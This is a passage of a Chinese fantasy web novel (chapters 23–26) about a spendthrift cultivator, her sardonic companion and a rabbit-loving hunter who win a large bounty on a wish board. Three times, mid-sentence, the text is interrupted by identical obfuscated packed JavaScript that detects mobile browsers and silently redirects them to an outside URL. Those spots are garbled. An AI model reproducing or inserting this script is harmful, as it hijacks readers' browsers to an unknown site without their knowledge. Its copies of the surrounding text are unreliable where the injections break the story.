顺着他的目光望去,只见那店内正对门处的墙上供着个神龛,里头贴着一幅须发皆白、仙风道骨的白衣老人画像,神像前是一抔黄土,上边插着的一炷香还在徐徐绕着青烟。 “哦,那是白仙,大乘的百姓好像很信奉这位,有任何事都要先拜上一拜。”殷烬翎道,“虽然我没听说过这位前辈的名号就是了。” “白仙?”叶南扶拧紧了眉头,表情有些古怪。 殷烬翎焦急地瞅了眼店内即将售罄的衣裳,连忙将东西收进了袖里乾坤,继续去往那人群缝隙里钻。 叶南扶翻个白眼,转首往周边望了两眼,忽然视线被一支玲珑精巧的红玉簪子牢牢吸引。 簪子通透莹润,泛着些许柔和的殷红光泽,而簪尾雕饰却状似诡秘的狐狸,令其在一片桃红金鸾的穗子中显得分外独特且素雅。 他目光定凝了良久,往来这家小摊的人很多,挑选发饰询问价格的也不少,那只簪子却一直鲜有问津。他稍稍瞥了两眼周围交谈观赏的人所戴,皆是些花鸟风月之品,看起来这式样确是不太讨人欢喜,难怪一路逛过来也唯有这一枚。 他不由探手摸了摸脑后,先前用的发簪被他愤愤之下折成两半,现下随意拿了根绸带扎着。 下意识伸手摸了摸袖子,立马便缩了回来,叶南扶转向面前还在大肆消费的殷烬翎,盯了她半晌,淡淡道:“再买下去你的酬金可都要花完了。” 殷烬翎明显是听到了,付钱的动作都顿了顿,但立马又无事发生一般继续先前的动作。 叶南扶提高声音:“谁掉的银子?” “我的我的!”殷烬翎立马转过头叫道。 叶南扶冷笑着对上殷烬翎的眼睛:“你不会是打算花完了再走吧?” “没有哦,小麻雀能有什么坏心思呢?”殷烬翎露出一个天真无邪的笑来,转了回去继续购物,看样子是打定主意装蒜到底了。 叶南扶目光又盯着她背影胶着了片刻,眼睫微微颤动了两下,最终还是未发一言,向那枚簪子最后投去一眼,却发觉不知何时那小摊子已然不见,许是方才与殷烬翎纠缠之际,商贩推着车去别处了,他略略按下心里那点失落,移开眼再不理会。 不一会殷烬翎便从里面蹦了出来,惊慌失措大呼小叫:“大事不好了,老哥,酬金全被我花完了!”只是看上去慌乱,实际上每一个字眼里都透着春风得意。 显然打从一开始来逛商铺,她心里就盘算好了要把酬金全数花尽,也省得三天两头被叶南扶爆金币。如今捧着一堆也许这辈子都用不上的经典时尚小垃圾,再度身无分文打回穷鬼原型的殷烬翎眉飞色舞地冲着叶南扶露出挑衅的笑。 叶南扶却并未如她所想的那般露出阴谋失算后气急败坏的神色,反而毫不在意地挑挑眉,不紧不慢地吐出一句让殷烬翎顿时僵硬地钉在原地的话。 “那么,今晚看来只能露宿街头了。” 23. 第 23 章 “我要不就地支个铺子把这些东西卖了?” “你还不如寻思着去找个当铺把这些东西都当了比较妥当。” “不行,才刚买来摸都没摸过就转手贬值当出去,怎么想都太亏了吧?” 叶南扶翻个白眼:“方才买东西都没见你还价的,这种时候居然精打细算起来,真是穷讲究。” 殷烬翎眼珠滴溜一转:“我现在还能不能假装只是出去逛了逛没有离开宋家,回宋家再去睡一晚?” “真这么干,你们仙道名门的脸面都会被你败光吧?小心后面被同门追杀。” “那还能怎么办啊!”殷烬翎一筹莫展,“难不成真要露宿街头?也太惨了吧?你见过这种带着一大堆刚买的新衣裳却要露宿街头的人嘛?” 叶南扶掀嘴一嘲:“面前不就有一个。” 殷烬翎怒了:“你也别一副置身事外高高挂起的清高样儿,都是要一块儿露宿街头的人,还在这说风凉话呢!有什么办法也别藏着掖着了,咱将内部矛盾放一放,先一致对外成不?” “这钱我可半文也没碰到过,不全都是你花的么,如今还连累我与你一同流落街头,我还没抱怨过什么呢。” 殷烬翎自知理亏,悻悻地道:“老哥,有没有什么法子?” 叶南扶整了整前襟,又拂了拂袖子,慢条斯理地将衣袍整理了个遍,又抬首望望日头,这才悠悠地开口:“想要不露宿街头也容易,我们现在马上出城的话……” 话音未落,殷烬翎一把抓起叶南扶手臂,另一手飞速捏诀,顷刻间足下生风,一个箭步冲了出去,赶在城门将闭的最后一刻堪堪越过,城门在二人身后轰鸣着缓缓合上。 她攀着叶南扶的胳膊喘了几口气,扬起脸来笑道:“怎样,身手不错吧?啊你接着说,出城然后呢?” 叶南扶动了动被风吹得僵硬的嘴角,痛心疾首道:“你怎么不听人把话说完啊!我想说我们现在出城就不用露宿街头,直接露宿荒野就不丢人了!” 殷烬翎瞠目结舌,半天都没说出话来,好容易咽了下口水定了定神,颇有素质地开口:“我日。” “你前头一言不发整着衣服蓄力了那么久,一副要放大招的样子,鬼知道你只是想抖个机灵啊!再说你平时插科打诨说骚话也就算了,这种决定晚上睡哪里的生死时刻,一本正经地胡说八道能要人命的!啊啊,我服了,独自待在家中不擅长与人交际的阿宅就是会开这种不合时宜的玩笑,是不是还在心里沾沾自喜觉得‘啊我真的太幽默太会活跃气氛了’,拜托一点都不好笑好么,你看有人笑了嘛?有人笑嘛?” “噗嗤……” “是谁笑了,谁?给我站出来!” “抱歉失礼了,不过我并无恶意,只是姑娘所言甚是有趣,不由得笑岔了气儿,莫见怪啊。” 声音似乎是从高处传来的,殷烬翎抬眼向四周环顾,只见面前一片茂盛青葱的林子,树木并不高耸,却异常挺立,而林口的几株树冠处,细密枝叶掩映下露着半条胳膊,那胳膊动了动将两旁的树枝扒开些,探出了大半个身子。 只见树上男子一身黑灰色劲装,腰间挂着匕首弯刀,背后背着长弓,斜坐在较粗的一条树杈上,垂下两条腿来回晃荡着。 看其穿着打扮,似乎是附近的猎户。 城北郊外这一带多山岭,相较于位在南郊的荒山那片丘陵,此处的山显然高耸不少,山势也更为险峻,茂密堆叠的深林一望无底,附近不少山村的樵人、猎户都傍山为生。 “在下狩猎途中疲乏,在此小憩片刻,不巧听到了二位的谈话,实在并非我有意偷听,只是姑娘方才的话太过激越,将这一树的鸟雀都惊走了,想不引人注意都难,还望莫要误会。” 殷烬翎虽平日在亲近的人面前常常出言不逊、漫天吐槽宛如暴雨连珠,但还做不到在面对陌生人时也如此,仍是端着几分礼仪的,就算是平时没节操惯了此时也要努力捡起来。见有第三个人在场,立马将方才张牙舞爪的神情收敛了起来,清了清嗓子道:“抱歉,是我等惊扰阁下歇息了,见谅见谅。” 若说殷烬翎在外人面前还算是有那么一点对脸面的渴求的,那么有的人就是完完全全地无所顾忌、视颜面如粪土,只见他弯腰凑到殷烬翎眼前端详了一番,啧啧称奇:“这就是传说中的川剧变脸?” 殷烬翎瞪了他一眼,没与他过多纠缠,便将目光投向了树梢上。 那猎户打扮的男子提脚踢开些周围的枝桠,伸手往树干上一撑,从高枝上一跃而下,稳稳地落在了地上。 殷烬翎眸子闪了闪。此人身手矫健,似乎颇有些功夫。 男子样貌清秀俊朗,年约二十来许,身量颇长,较之叶南扶都能略微高出一分。他抬手拍了两拍身上沾着的树叶,冲两人行了个不大不小的礼,尔后扫了几眼殷烬翎,道:“看姑娘的装束,莫非是仙门中人?” 殷烬翎拱手还礼,颔首道:“正是,在下是清霄山天璇门弟子,殷烬翎。” “失敬失敬,原来姑娘师出名门啊,未曾想竟是如今仙道七门之一的陀螺门!” 等、等一下,你既然连它是仙道七门之一都知道为什么还不能把名字给我念对了?这个名字有那么难嘛?话说回来我在这里好像确实还没遇到一次性就把它念对的,难道真的是我想错了,这个名字其实特别难念,普通人根本无法抵抗自己读错的本能? “恕我冒昧,听二位方才所言,是寻不到住处吗?”男子问道。 提起此事,殷烬翎横了一眼一旁完全没有开口打算的叶南扶,叹了口气:“是这样没错,如你所见,我们马上要露宿荒野了。” “那真是太好了!”这清俊男子闻言突然欢呼雀跃起来。 “???”殷烬翎小小的眼里有着大大的疑惑。 这人在幸灾乐祸个啥呢?跟他什么仇什么怨呢,怎么听说我们要露宿荒野就这么开心?看不懂…… “我出来打猎走得离家太远,今晚也只能在树林里过夜了,啊你们也来的话,那我就有伴儿了,大家一起升个篝火野营,想想就令人兴奋!” 殷烬翎、叶南扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803433|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :…… 这人小脑瓜儿里是不是少了根弦之类的,怕不是个傻子吧…… 不过说归说,倒霉的时候能多拉个人一起总是件比较令人愉快的事,就比如她过去在师门里的学堂,趁念课读经文时偷偷看画本子被没收罚站时,总是比较倾向于供出个盟友来一同立在山门口共患难,能有个常年在这片林中打猎、对这一花一木都无比熟悉的同伴在,总是会让人觉得比较靠谱和安心……吧? 殷烬翎提着只野兔回来,瞥了眼跟个大爷似的斜靠在一处石头上,有一下没一下地拿树枝拨着篝火堆的叶南扶,无奈地轻笑一声。 指望老哥杀兔,倒不如指望一下自己一夜暴富来的靠谱。 她提步就要去找块平整的石头处理下这只兔子,面前一晃多了个人影,正是那自来熟的男子,他拦在了殷烬翎面前,向她伸出一只手道:“把兔子给我吧。” 正当殷烬翎觉着这人居然主动来帮她分担事情,与某个成日只会偷懒、宁可无聊地拨火也不肯挪步来帮忙的死宅完全不一样,真是个正直善良勤劳勇敢的好青年之时,接过兔子的好青年将它抱在了怀里,一边顺毛一边道:“兔兔那么可爱,怎么可以吃兔兔。” 那兔子的毛是摸顺了,这边的麻雀却炸毛了。 你是个猎人诶!拜托你尊重一下自己的职业好嘛?进树林来不猎杀点飞禽走兽,你腰上的匕首和背后的弓箭都是摆设嘛?那你平时都是吃什么的啊,嚼草根还是啃树皮?这个样子还能活到现在没饿死也算是奇迹了吧?而且这个人是傻白甜圣母画本看多了吧?我说堂堂一个八尺男儿,能不能要用天真少女的口吻学着那些脑残台词啊! “我说——这位兄台,怎么称呼?” “啊?”他从兴致勃勃地薅兔子中抬起头来,道,“在下姓肖,名睿。睿智的睿。” “哦,那您可真是人如其名,是个睿智呢!”殷烬翎干巴巴地笑道。 “过奖过奖,殷姑娘这……说得人怪不好意思的。”肖睿有些害臊地挠挠头。 哇,你在害羞个什么劲儿啊!我这是在夸你嘛?拜托你好好开动小脑筋仔细想一想啊朋友! “这个……肖兄?”殷烬翎努力堵住自己内心快满溢出来的吐槽,声音非常温和轻柔地试图劝说他把兔子还回来,“不吃这个兔子,那我们今晚就只能挨饿了不是嘛?” 肖睿摇头:“不是。” “对嘛,所以把兔子还给……等下,为什么不是,不然我们还能吃什么?让我们跟你一起啃树皮草根嘛?” “啊?做什么吃树皮草根啊?吃那个啊!”肖睿讶异,伸手往火堆旁一指,只见那里不知何时已然多了三只料理好的山鸡和一只鸽子,甚至还有一小堆松茸。 殷烬翎愣愣地看着这些仿佛从天而降的食物,直到篝火旁的叶南扶慢吞吞地拿几条树枝串起一只放在火上烤时,她才回过神来。 她转首看向肖睿,后者正以悲天悯人的眼神看着殷烬翎,道:“难道说你们常常只能靠啃树皮草根充饥吗?天哪,这未免太惨了吧!” 24. 第 24 章 殷烬翎顿时有种难以辩驳的无力感。 不是,你这个眼神是怎么回事,我像是常常饿肚子的人嘛?等等,好像还真是,买了太多想要的东西时就会穷到吃土……啊呸,总之事情完全不是你想象的那样,别给我瞎安什么一贫如洗家徒四壁的帽子啊!而且为什么兔子不能吃,山鸡鸽子就能随便吃了?我觉得你这样有失公允。难道是因为它们没兔子可爱?不可爱就要被吃掉嘛! “这些是你猎来的?” “是啊,都是我白天猎来的。”肖睿往一个方向指了指,“我在那处开辟了个用来堆放各种猎物的山洞,刚刚便去那儿拎了几只过来。” 毕竟是别人打来的猎物,殷烬翎稍微有些不大好意思。肖睿似乎明白她心中所想,又道:“姑娘这个兔子便送与我吧?” 殷烬翎颔首,心道:这家伙这时候倒是难得的善解人意,方才怎么就一副不开窍的样儿。不过说归说,就老哥那懒鬼德性是别指着他能做什么的,也就是说我去捉了只野兔的功夫,这肖睿拾了柴生了火还处理完了几只野味,动作倒是意外的麻利,果然是常年夜宿野外的专家。 正想着,肖睿已经坐到了叶南扶身边烤起鸽子来,一边自说自话地跟叶南扶攀谈起来。 “兄台,还未知晓你姓甚名谁,何许人氏呢?” “兄台,你看我这兔子如何,是不是膘肥体壮,肥美丰厚?” “兄台,你看我烤的山鸡如何,是不是矫健灵活,羽翼瑰丽?” “兄台,你方才都未发一言,莫非是那种惜字如金的人设?” “兄台,……” 不是,你又不肯吃那兔子做什么用这种勾起人食欲的形容词?再说那山鸡都拔光了毛烤熟了,看的出个鬼的矫健灵活羽翼瑰丽啊!还有啊,叶南扶根本不是那种沉默寡言的冰山人设,只是你问得太密集了他根本插不上话回答而已!你看他从第一个问题起就想开口,被你直接堵回去已经欲言又止很久了啊! 肖睿拿起火堆上的烤鸽子,吹了吹,递到殷烬翎面前:“殷姑娘,这串好了。” “多谢。”殷烬翎无比自然地伸手接了过来。 叶南扶看得眉头一跳,眼眸微微眯了眯。 “我说,你身为一只鸟,吃自己同族不会觉得硌得慌吗?”叶南扶嘲讽道。 殷烬翎看了看手里散发香气的烤乳鸽,觉得老哥肯定是眼馋又暂时吃不上,才会故意拿话呛她。 “呵。”殷烬翎重重一声冷笑,恶狠狠地咬了一大口手里的鸽子,一边嚼一边耀武扬威地看着叶南扶。 “诶诶,我听说仙人们都会幻化身形的,姑娘本体原来只鸟吗?”肖睿惊讶又好奇道。 喂,他这明显是在瞎说你怎么就真能信了啊! “是啊是啊。”叶南扶添油加醋,“本是同根生,相煎何太急啊。” “我是麻雀,又不是鸽子,怎么就吃同类了?啊不对,我也不是麻雀,啊我真是……你是魔鬼吧!”殷烬翎将爆未爆的脏话在嘴边打了圈转。 “哇,原来是麻雀啊!”肖睿向殷烬翎投去不可思议的眼神。 殷烬翎扶额,呲着嘴从牙缝里挤出一句:“大爷的。” “说起来,”叶南扶拿根树枝指了指肖睿怀里,“你不吃那兔子却又似乎没有放生的打算,是想拿它作甚?” 这问题似乎问到了肖睿心坎上,只见他登时两眼放光,神采奕奕道:“我每次猎到兔子都尽量活捉回家里,现在已经养了一窝兔子了!个个吃得膀大腰圆,脑满肠肥,油光满面……真的是相当可爱!” 额……抱歉你这形容我着实听不出丝毫可爱的感觉…… “啊其实活捉兔子还挺不容易的,我也是两年前偶然抓了只来养着,怕它冷清想找些伴儿来陪它,才开始试着打猎时尽量不伤到兔子的,然而野兔着实狡诈,这两年统共也没抓着几只,我家里养的一窝大部分都是原先那些生下来的。” 啊,我们就闲着无事随口问一句,用不着把你养兔的心路历程讲述得那么细致的…… “真的,我养的兔子是附近几个山村里最壮最好的,常不时有村人来向我讨要几只,但是不知道是饲养不得要领还是兔子们恋家,他们拿去常常没多久就死掉了,只得再来问我要……” 他们哪是养不好,这明显是吃了好嘛!明摆着看你好骗来占点小便宜啊! “不过这些兔子可爱归可爱,吃是真的特别能吃,为了养得起它们,我几乎每日要抽出不少时间来割草,不过所幸这附近山林密布,就是草特别多。” 好了,可以了,我已经不想再听关于你养兔子的事了…… “往日这个时候它们早就吃完了,像今天这般走得远了来打猎,没能及时回去,家里的那些崽崽们都该挨饿了,唉……” 相信我,它们会照顾好自己的,而且既然它们那么肥壮,饿个一两天也不会有事的,所以不要再说兔子的事了好嘛? “我还用木头给它们搭了个小窝,不过最近小崽子们越来越多,窝也有些挤了,再加上手里这只,回去得再另建个大些的了。啊呀,一想到往后可能会多得满屋子都是,就有些不知道该怎么办呢!” 完了,老哥你随口一句怕是打开了什么魔匣的开关了,他现在话就像决堤的洪水一样倾泻而下势不可挡…… 所幸此时一阵嘹亮高昂仿佛杀鸡般的声音突兀地响起,总算打断了肖睿滔滔不绝的兔子饲养心得。 “叽——!” 还没待殷烬翎为不用再被迫继续谈兔子而松上一口气,两人便齐齐地向她望来,因为这响彻云霄的声音来源正是她的袖子。她无奈地探手进袖子里,那个高亢的声音随即发出一声短促的惨叫,尔后便消弭无踪了。 “咳,那个是……一个提示音,代表仙界有重要的新消息发布。”殷烬翎有些尴尬道,“我……看一下。” 说着,她伸手入袖,掏出来一个金色的布帛卷轴,摊开卷轴,其上立刻浮起一个似隐若现的光团,顷刻间散开成了一片文字,定睛一看,只见上书: 今夜子时中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15816923|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仙愿榜上将发布一项赏金千万的榜首心愿,望各位仙友踊跃参与! ——仙盟官方权威发布 赏金千万?! 殷烬翎眼珠子都瞪直了。 购物欲大得从来存不住酬金的穷困人口,这辈子都没见到过那么多钱,这个心愿说什么也得拿下! 只是……这么明晃晃地发出来,全仙界的除灵师怕是都知道这个消息,那些抢了几百年榜首心愿的老油子们手速多快啊,平日里到了时候连心愿的影儿都没刷着名额就被抢光了,自从她认清了自己这龟一般的手速后就再没肖想过拿下榜首心愿了,索性就佛了,坐看旁人为了那些高额悬赏斗个你死我活,但是这次……千万的赏金怎么也佛不起来了啊! “老哥,打个商量呗。”殷烬翎往叶南扶边上凑了凑,“等下半夜帮我一起抢个东西。” 叶南扶慢条斯理地将嘴里嚼着的肉缓缓咽下去,道:“好处?” “这次的赏金,我绝不独吞。” “啧。”叶南扶嗤笑,“那么大一笔还想独吞,也不怕噎着了。” 殷烬翎闻言着实噎了一下,讪讪道:“之前不是酬金也没多少么,我又平日穷得揭不开锅才……哪能跟这回比啊,您说是吧?这样吧,事成之后这赏金三七分,可还行?” “我七你三?” “你真……会开玩笑啊,自然是我七你三啦……” 贪不死你!这么一下还想拿七成?到时候接了委托,苦力可都是我在出,您就往那儿边上一躺袖手旁观,哪还能差使的动您啊! 不过毕竟现在有求于他,还是别吐槽他,尽量顺顺他毛为好。 “你看这样,我来做你回家路上的贴心小棉袄,你这一路所有开支都由我包了,想要什么只管开口就是,怎么说?” 叶南扶忍不住嘴角微微一弯,尔后煞有其事地皱眉思索片刻,勉为其难道:“也行。” 殷烬翎喜出望外,大力一拍叶南扶的肩膀:“老哥,稳了!” “那个——殷姑娘的事,不知我是否也能帮上忙呢……”一旁默了许久的肖睿迟疑地开口。 “好啊,肖兄若愿意帮忙再好不过了!”殷烬翎挠挠头,“我之前是觉着不大好意思才……” 哎,主要是不知道请求你帮这个忙到时候怎么分你赏金。这兄台又实在是个实心眼儿,欺负老实人总是有些过意不去,但是跟老哥这种奸诈油滑的家伙勾心斗角讨价还价就没什么心理负担。 既然决定好要蹲点抢这个半夜发布的心愿,三人索性也不睡了,围着篝火吃着烤山鸡,天南地北地侃。 殷烬翎时不时看一眼仙愿榜上的倒计时,三心二意地捧着个画本看。 “你在看什么?” 冷不防肩头传来了叶南扶的声音,她顿时一凛,将画本子用袖子一遮,冲他连连摇头:“没什么。” 叶南扶眼尖地瞅见了她没盖住几个字。 “魔君的白月光……”叶南扶皱起了眉,“你又在看什么乱七八糟的野史?” 25. 第 25 章 殷烬翎慌忙把画本往袖子里塞,一边理直气壮道:“看点画本怎么了?成年人还不能有点自己的爱好了?我当然知道是野史,才不会当真的。” “得了吧,你们这里根本没有正经记载的史书,全是这些胡乱杜撰的画本泛滥成灾,才会导致你们对无生界的误解和偏见。”叶南扶轻嗤一声,很是不屑,“我从前也看过的,知晓你们惯爱听那些天帝啊魔君啊谈情说爱的故事,外加点师徒禁断恋或者神魔相爱相杀,若是再有个强制监禁小黑屋什么的,便能赚饱了你们眼球。” “噢哟,你说的都是些什么写烂了的老梗啊,也不瞧瞧如今什么朝代了,现在谁还吃这些狗血设定啊?”殷烬翎一脸嫌恶道,暗地里不露声色地把《魔君的白月光竟是昔日宿敌》往袖子里怼了怼。 “啊我看过我看过。”一旁的肖睿忽然插话道,“这种画本子我去集市上卖猎物的时候,在收破烂大爷那儿拿半只乳鸽换了一沓,闲来无事之时翻过一些。说到空闲时候,比起看这些闲书,我大多还是用来饲养兔子的,兔子真的是六界第一可爱的生灵,尤其是那小短尾巴,每次见了总按捺不住心里那股想逮着狠狠蹂躏的念头……”肖睿笑容逐渐狰狞。 等,等一下,请这位兄台稍微克制一下您对兔子的奇怪念头好嘛?以及别聊什么都能扯到您家兔子上去成不?给我好好聊天啊! “兄台,您刚才说的那个……兔子尾巴,它好捏吗?”叶南扶忽然接过话茬。 住手啊老哥!别再添油加醋助长他的兔子势力了啊!你没见他已经一副快要控制不住体内躁动不安的爱兔之火的凶残模样嘛? “它不是好捏不好捏的问题,它真的是那种,那种很少见的柔软舒适,尤其是家里那只最圆溜的,那尾巴的手感真是绝了……遗憾的是现在不在家中,没法让叶兄也体验一番。”肖睿细细回味着叹息道。 “那真是可惜了……”近来只有火婴头发可揉的毛绒控叶南扶露出了艳羡的眼神。 “若是叶兄路上不急,不妨来家里坐坐,就在这前边约莫四五十里路,届时在下一定好好招待二位。” “会不会有些叨扰肖兄?” “无妨无妨,那地儿平日里都见不着人,正闲得紧。” 叶南扶抬着袖子,掩面笑道:“如此便恭敬不如从命了。” 嗯?这两个人怎么似乎在某些不为人知的方面达成了微妙的共识? 三人胡扯海吹着,转眼几只山鸡下肚,月已近中天,眼瞅着快到子时了,殷烬翎不免有些紧张了起来,嘴上的扯皮也没了心思,半炷香的功夫瞧了四五回仙愿榜上的通告,像是多看几次便能顺利抢到似的。 许是觉察到了殷烬翎的心不在焉,叶南扶结束了已持续约莫半个多时辰的,与肖睿关于毛绒动物认知方面的友好探讨,伸手拍拍殷烬翎的肩头,宽慰道:“莫慌,抢不到也无妨,你这一身除灵技艺,又师出名门,不愁寻不到别家悬赏来充当路费的。” 老哥你这算是宽慰嘛?你是不知道现在大环境有多糟糕,就算是出身仙道名门的除灵师也得与那些散修们同等竞争,能不能接到委托全看手速快不快。我这老年人手速,已经吃不起饭很久了,平时只能接那种找失物、抓出轨的低价委托,外加写点带颜色的画本子才能维持生计这样子。 殷烬翎抬抬胳膊,嫌弃地甩开叶南扶惺惺作态的手,又暗暗瞧了眼仙愿榜,还剩半刻钟,她顿时心狂跳不止,一把按住叶南扶还没来得及伸回去的手,颤声道:“老哥,赶紧准备!” 不消片刻,三人面前都铺开了一卷泛着金光的布帛,上边誊着各式各样的悬赏心愿,最上方有一大处空缺,其上书有一个“二十”,几息之间又变为了“十九”,可见待其归零之时,榜首心愿便将出现在此处。 叶南扶侧目瞥了眼身旁正紧盯着那个数字一瞬不瞬的殷烬翎,颇感几分好笑,道:“你这般盯法,就差把眼睛都贴在上边了,这玩意儿当真那么难抢?” “别吵。”殷烬翎眼皮也不抬一下,赶苍蝇似的冲叶南扶挥手,“这都什么时候了,还不快盯着自个儿的去。” 叶南扶对她这暴躁恶劣的态度也不以为意,转首看向自己面前的仙愿榜,不过嬉闹几句的功夫,上方的数字赫然已变成了血红的“五”。 “四” “三” “二” “一” 化作“零”的瞬间,殷烬翎火速一顿猛戳刚刚显现的榜首心愿。 “该心愿征召仙家已满,仙友请另择他处。” 殷烬翎瞪大眼,愤恨不甘地疯狂连击。 “仙友手速不够哦,下次可要早点来呀~” “这个心愿已经不需要招人了,不如看看别的吧,下面这些附近人的心愿还没有仙家接哦!” “急!尚书家幼女正在寻找丢失的金雀!” “特急!欲寻近来丢失的一枚玉玦!” “事态紧急!病危老者想再见四十六年前的初恋最后一眼!” 殷烬翎登时气歪了嘴。她实在穷困潦倒的时候不是没有就近接过此类小活,寻丢失猫猫狗狗的熊孩子往往也有个惯爱呼天抢地的熊爹娘,号称病危的老者常常精神矍铄得还能上山打死吊睛白额虎。 她深吸口气,调整好自己将欲崩溃的心境,扭头朝叶南扶那儿凑过去,只见他正慢条斯理地戳着仙愿榜,瞧得殷烬翎眼眸一亮,如此从容不迫心平气和,莫非他…… “诶小麻雀儿,你灵力卡顿了还是这破布出啥错了,这都跳到零好久了也没见你说的那个心愿出来……” 殷烬翎:……?? 敢情这老哥连心愿都没刷出来?? “喂,你别用这种眼神盯着我啊。”叶南扶躲开殷烬翎阴沉沉的目光,讪讪道,“你都说了很难抢,抢不到也实属正常嘛。再者,我头一回接触这玩意儿,不会摆弄也情有可原,这一回生二回熟嘛,下次一定……” “还下次?这么高额的悬赏,自我从事除灵一行以来五十年都未尝一见!”殷烬翎气急反笑,“也怪我,原以为你宅了这许多年,手速理当远超尔等才是,却未曾想老哥毕竟年岁已高,反应慢些也是人之常情。” “好好的扯上年纪作甚?”自诩年轻意气风华正茂的叶南扶不乐意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15832781|172410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,“不过是一时失误没能抢到而已,用得着这么话里带刺嘛……”末了又小声添上一句,“我也就冲着情谊帮个忙而已,又不保证一定成功……” “瞅瞅你刚刚那自信满满地跟我讨价还价分赏金的样子,俨然是横贯六界无人可敌的手速第一人,我怎么就信了你的邪觉得这下稳了?况且您确定我们之间有情谊而不是仇怨?” “那个……”肖睿挠头瞧着争执的二人,有些不知如何开口。 “说到底,你不也没抢到嘛!否则哪顾得上来责怪我?”叶南扶冷笑连连,“不过就是将自己没得手的怨气一并归到我身上罢了。” 殷烬翎被此言一堵,登时有些心虚,想着自己方才确实有把气往叶南扶身上撒的嫌疑,不由得脸颊上的红霞一路往脖子涨,却强梗着脖子道:“我是没抢着,但好歹有自知之明啊,总比某些人大放厥词又出师不利、打脸啪啪响来的好吧?” “我说……”肖睿探头欲言,又被一阵疾风骤雨打得缩了回去。 “要些好处便算得上吹嘘了?你我非亲非故的,帮忙时索要分成不是理所应当的吗?” “诚然如此,可你对于无法确信的事,就不能学着稍稍谦逊一些嘛?”殷烬翎扬手一指旁边的肖睿,“像他这般,即便抢不到我会说半句不是嘛!” “我可能,抢到了……”在战场边缘试探的肖睿终于寻到机会说话。 “?!”两人瞬间齐齐转头看向肖睿。 肖睿被两人——主要是殷烬翎——饿狼般的目光瞧得有些紧张,喉结上下滑动了下,犹豫道:“其实我也不甚清楚,毕竟不大会摆弄你们仙家的东西。殷姑娘还是亲自确认一下为好……” 自肖睿开口手便一直发着抖的殷烬翎,此时颤颤巍巍地接过了肖睿手上的金色布帛,指尖不听使唤得连戳几下都歪了地方,好容易才点着,瞧见上边“您已成功应招为本次榜首心愿仙家,稍后公布任务详情”的几个大字时,她手一哆嗦没拿稳,仙愿榜便掉了下来,落在草堆里。 然而她顾不上去捡就激动地一把握住了肖睿的手,攥紧了一通猛摇,声泪俱下:“感谢爹爹的养育之恩!” 被摇得七荤八素的肖睿正懵着,乍闻这情真意切的一声“爹爹”,顿时惊得不轻,忙不迭想挣开她的手,道:“殷姑娘,你怎么……这么叫我……” “给我银钱供我吃穿,可不是对我有养育之恩的亲爹啊!”殷烬翎声情并茂地诉说浓浓亲情,险将自己都感动了,一面愈发用力握着肖睿的手,任凭他如何使劲也甩不开。 叶南扶冷眼瞥着二人的动静,薄唇动了动却不言语,良久“啧”了一声,道:“当真有奶就是娘。” 殷烬翎闻言顿了顿,扭头冲他甩了一句:“那又如何,谁叫你手速不够,当不成我爹。”随即又笑得满面春风地对肖睿道,“您说是吧,爹。” 肖睿对付了半天,总算将殷烬翎的爪子扒拉下来,然后迅速靠到叶南扶身旁,惊恐交加胆战心惊地偷眼将殷烬翎望着。 叶南扶抬眸看向殷烬翎,难得说了句正经话:“你不去瞧瞧这个高额悬赏任务要去何处吗?” 26. 第 26 章 殷烬翎转过身,一掀外袍就地坐下来,拾起脚边掉落的金色布帛,展开来细看。 叶南扶自顾低头拾了个树枝拨火,再不作声。 一时间竟无人出言,静得离奇。 叶南扶视线穿过晃动的明黄火焰,轻轻落在正对坐着的殷烬翎脸上。 她面上仍挂着抑不住的笑意,眉眼弯弯的,颊边两个清浅的酒窝里荡漾着碧波桃花,在跳跃的火光下宛如摇晃着盛满琼液玉酿的玲珑芳樽。 然而才不过须臾,便被殷烬翎颇为疑惑的一声轻咦唤回了神,他忙垂下眸,状似若无其事地继续拨弄柴火,却发觉手上的树枝末端不知何时都烧着了。 眼瞅着肖睿也抬眼望过来,叶南扶赶忙将树枝往柴火堆里一塞,轻咳一声,接话道:“怎么了?” “这心愿……”殷烬翎又凑近瞧了瞧,“似乎是从帝京江宁城发布的。” “帝京?”叶南扶缓缓地重复着这个地名,托腮思索片刻道,“同我先前预想的路线要稍稍绕一绕,不过也无碍。” 闻言,殷烬翎愣了愣,抬首看向叶南扶,微微有些错愕。 没等到回应,叶南扶也不解地抬头望过来,正正撞入殷烬翎的眼瞳中。 她倏尔心下一慌,急急低头撇开视线,不由自主地将手中的金色布帛略微拿高了几分,好挡住对面射过来的目光。 然而待她心中稍定,又忍不住想起前边的事来。 